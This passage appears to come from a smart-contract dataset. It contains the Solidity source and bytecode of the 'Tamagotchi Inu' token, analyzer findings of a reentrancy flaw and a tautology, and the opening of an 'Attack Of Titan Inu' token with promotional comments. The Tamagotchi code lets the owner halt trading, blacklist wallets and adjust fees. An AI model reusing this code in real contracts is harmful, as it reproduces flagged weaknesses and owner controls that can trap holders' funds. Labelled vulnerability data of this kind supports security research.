owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Tamagotchi is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Tamagotchi Inu"; string private constant _symbol = "TAMAGOTCHI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x64eB8C4269E114Bf48DD981a86A7421125f7611A); address payable private _marketingAddress = payable(0x35163B1138F17beb30CDb23F0C5DE54CFe917f4e); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 10000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055f578063dd62ed3e1461057f578063ea1644d5146105c5578063f2fde38b146105e557600080fd5b8063a2a957bb146104da578063a9059cbb146104fa578063bfd792841461051a578063c3c8cd801461054a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104ba57600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611af0565b610605565b005b34801561020a57600080fd5b5060408051808201909152600e81526d54616d61676f7463686920496e7560901b60208201525b60405161023e9190611bb5565b60405180910390f35b34801561025357600080fd5b50610267610262366004611c0a565b6106a4565b604051901515815260200161023e565b34801561028357600080fd5b50601454610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611c36565b6106bb565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601554610297906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611c77565b610724565b34801561037257600080fd5b506101fc610381366004611ca4565b61076f565b34801561039257600080fd5b506101fc6107b7565b3480156103a757600080fd5b506102c66103b6366004611c77565b610802565b3480156103c757600080fd5b506101fc610824565b3480156103dc57600080fd5b506101fc6103eb366004611cbf565b610898565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611c77565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610297565b34801561045d57600080fd5b506101fc61046c366004611ca4565b6108d6565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b5060408051808201909152600a81526954414d41474f5443484960b01b6020820152610231565b3480156104c657600080fd5b506101fc6104d5366004611cbf565b61091e565b3480156104e657600080fd5b506101fc6104f5366004611cd8565b61094d565b34801561050657600080fd5b50610267610515366004611c0a565b610b03565b34801561052657600080fd5b50610267610535366004611c77565b60106020526000908152604090205460ff1681565b34801561055657600080fd5b506101fc610b10565b34801561056b57600080fd5b506101fc61057a366004611d0a565b610b64565b34801561058b57600080fd5b506102c661059a366004611d8e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d157600080fd5b506101fc6105e0366004611cbf565b610c05565b3480156105f157600080fd5b506101fc610600366004611c77565b610c34565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161062f90611dc7565b60405180910390fd5b60005b81518110156106a05760016010600084848151811061065c5761065c611dfc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069881611e28565b91505061063b565b5050565b60006106b1338484610d1e565b5060015b92915050565b60006106c8848484610e42565b61071a843361071585604051806060016040528060288152602001611f42602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061137e565b610d1e565b5060019392505050565b6000546001600160a01b0316331461074e5760405162461bcd60e51b815260040161062f90611dc7565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107995760405162461bcd60e51b815260040161062f90611dc7565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ec57506013546001600160a01b0316336001600160a01b0316145b6107f557600080fd5b476107ff816113b8565b50565b6001600160a01b0381166000908152600260205260408120546106b5906113f2565b6000546001600160a01b0316331461084e5760405162461bcd60e51b815260040161062f90611dc7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c25760405162461bcd60e51b815260040161062f90611dc7565b662386f26fc100008111156107ff57601655565b6000546001600160a01b031633146109005760405162461bcd60e51b815260040161062f90611dc7565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109485760405162461bcd60e51b815260040161062f90611dc7565b601855565b6000546001600160a01b031633146109775760405162461bcd60e51b815260040161062f90611dc7565b60028411156109d65760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b606482015260840161062f565b600e821115610a325760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b606482015260840161062f565b6002831115610a925760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b606482015260840161062f565b600e811115610aef5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b606482015260840161062f565b600893909355600a91909155600955600b55565b60006106b1338484610e42565b6012546001600160a01b0316336001600160a01b03161480610b4557506013546001600160a01b0316336001600160a01b0316145b610b4e57600080fd5b6000610b5930610802565b90506107ff81611476565b6000546001600160a01b03163314610b8e5760405162461bcd60e51b815260040161062f90611dc7565b60005b82811015610bff578160056000868685818110610bb057610bb0611dfc565b9050602002016020810190610bc59190611c77565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf781611e28565b915050610b91565b50505050565b6000546001600160a01b03163314610c2f5760405162461bcd60e51b815260040161062f90611dc7565b601755565b6000546001600160a01b03163314610c5e5760405162461bcd60e51b815260040161062f90611dc7565b6001600160a01b038116610cc35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062f565b6001600160a01b038216610de15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062f565b6001600160a01b038216610f085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062f565b60008111610f6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062f565b6000546001600160a01b03848116911614801590610f9657506000546001600160a01b03838116911614155b1561127757601554600160a01b900460ff1661102f576000546001600160a01b0384811691161461102f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062f565b6016548111156110815760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062f565b6001600160a01b03831660009081526010602052604090205460ff161580156110c357506001600160a01b03821660009081526010602052604090205460ff16155b61111b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062f565b6015546001600160a01b038381169116146111a0576017548161113d84610802565b6111479190611e43565b106111a05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062f565b60006111ab30610802565b6018546016549192508210159082106111c45760165491505b8080156111db5750601554600160a81b900460ff16155b80156111f557506015546001600160a01b03868116911614155b801561120a5750601554600160b01b900460ff165b801561122f57506001600160a01b03851660009081526005602052604090205460ff16155b801561125457506001600160a01b03841660009081526005602052604090205460ff16155b156112745761126282611476565b47801561127257611272476113b8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b957506001600160a01b03831660009081526005602052604090205460ff165b806112eb57506015546001600160a01b038581169116148015906112eb57506015546001600160a01b03848116911614155b156112f857506000611372565b6015546001600160a01b03858116911614801561132357506014546001600160a01b03848116911614155b1561133557600854600c55600954600d555b6015546001600160a01b03848116911614801561136057506014546001600160a01b03858116911614155b1561137257600a54600c55600b54600d555b610bff848484846115ff565b600081848411156113a25760405162461bcd60e51b815260040161062f9190611bb5565b5060006113af8486611e5b565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a0573d6000803e3d6000fd5b60006006548211156114595760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062f565b600061146361162d565b905061146f8382611650565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114be576114be611dfc565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561151257600080fd5b505afa158015611526573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154a9190611e72565b8160018151811061155d5761155d611dfc565b6001600160a01b0392831660209182029290920101526014546115839130911684610d1e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115bc908590600090869030904290600401611e8f565b600060405180830381600087803b1580156115d657600080fd5b505af11580156115ea573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061160c5761160c611692565b6116178484846116c0565b80610bff57610bff600e54600c55600f54600d55565b600080600061163a6117b7565b90925090506116498282611650565b9250505090565b600061146f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f7565b600c541580156116a25750600d54155b156116a957565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116d287611825565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117049087611882565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461173390866118c4565b6001600160a01b03891660009081526002602052604090205561175581611923565b61175f848361196d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117a491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006117d28282611650565b8210156117ee57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836118185760405162461bcd60e51b815260040161062f9190611bb5565b5060006113af8486611f00565b60008060008060008060008060006118428a600c54600d54611991565b925092509250600061185261162d565b905060008060006118658e8787876119e6565b919e509c509a509598509396509194505050505091939550919395565b600061146f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137e565b6000806118d18385611e43565b90508381101561146f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062f565b600061192d61162d565b9050600061193b8383611a36565b3060009081526002602052604090205490915061195890826118c4565b30600090815260026020526040902055505050565b60065461197a9083611882565b60065560075461198a90826118c4565b6007555050565b60008080806119ab60646119a58989611a36565b90611650565b905060006119be60646119a58a89611a36565b905060006119d6826119d08b86611882565b90611882565b9992985090965090945050505050565b60008080806119f58886611a36565b90506000611a038887611a36565b90506000611a118888611a36565b90506000611a23826119d08686611882565b939b939a50919850919650505050505050565b600082611a45575060006106b5565b6000611a518385611f22565b905082611a5e8583611f00565b1461146f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062f565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ff57600080fd5b8035611aeb81611acb565b919050565b60006020808385031215611b0357600080fd5b823567ffffffffffffffff80821115611b1b57600080fd5b818501915085601f830112611b2f57600080fd5b813581811115611b4157611b41611ab5565b8060051b604051601f19603f83011681018181108582111715611b6657611b66611ab5565b604052918252848201925083810185019188831115611b8457600080fd5b938501935b82851015611ba957611b9a85611ae0565b84529385019392850192611b89565b98975050505050505050565b600060208083528351808285015260005b81811015611be257858101830151858201604001528201611bc6565b81811115611bf4576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1d57600080fd5b8235611c2881611acb565b946020939093013593505050565b600080600060608486031215611c4b57600080fd5b8335611c5681611acb565b92506020840135611c6681611acb565b929592945050506040919091013590565b600060208284031215611c8957600080fd5b813561146f81611acb565b80358015158114611aeb57600080fd5b600060208284031215611cb657600080fd5b61146f82611c94565b600060208284031215611cd157600080fd5b5035919050565b60008060008060808587031215611cee57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1f57600080fd5b833567ffffffffffffffff80821115611d3757600080fd5b818601915086601f830112611d4b57600080fd5b813581811115611d5a57600080fd5b8760208260051b8501011115611d6f57600080fd5b602092830195509350611d859186019050611c94565b90509250925092565b60008060408385031215611da157600080fd5b8235611dac81611acb565b91506020830135611dbc81611acb565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3c57611e3c611e12565b5060010190565b60008219821115611e5657611e56611e12565b500190565b600082821015611e6d57611e6d611e12565b500390565b600060208284031215611e8457600080fd5b815161146f81611acb565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611edf5784516001600160a01b031683529383019391830191600101611eba565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3c57611f3c611e12565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fea35c6108e060f08864c600780e81662c7d4f5c997d2f328a925867242b330864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
3,842
0xc99909F92cC7DC5B0066F322f2fcd719bbcf1321
/** Website: http://attackoftitaninu.com TG: https://t.me/attackoftitaninu Twitter: https://twitter.com/AoT_Inu Low Tax Anime Coin - 7/7 Buy/Sell Attack of Titan is a Japanese series written and illustrated by Hajime Isayama. It is set in a world where humanity lives inside cities surrounded by three enormous walls that protect them from the gigantic man-eating humanoids referred to as Titans. $AOT is a community driven anime project which was created to pay tribute to one of the best anime - Attack of Titan. With an incredible community we can create the best anime token on Ethereum network! We will donate to various animation artists, little known animation studios, mangakas who are in need of funds. We are here for the community. We are here for the anime **/ //SPDX-License-Identifier: MIT pragma solidity ^0.8.9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract AOTInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = 400000000000000 * 10**18; uint256 private _maxWallet= 400000000000000 * 10**18; uint256 private _taxFee; address payable private _taxWallet; uint256 public _maxTxAmount; string private constant _name = "Attack Of Titan Inu"; string private constant _symbol = "AOT"; uint8 private constant _decimals = 18; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 7; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(100); _maxWallet=_tTotal.div(50); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } 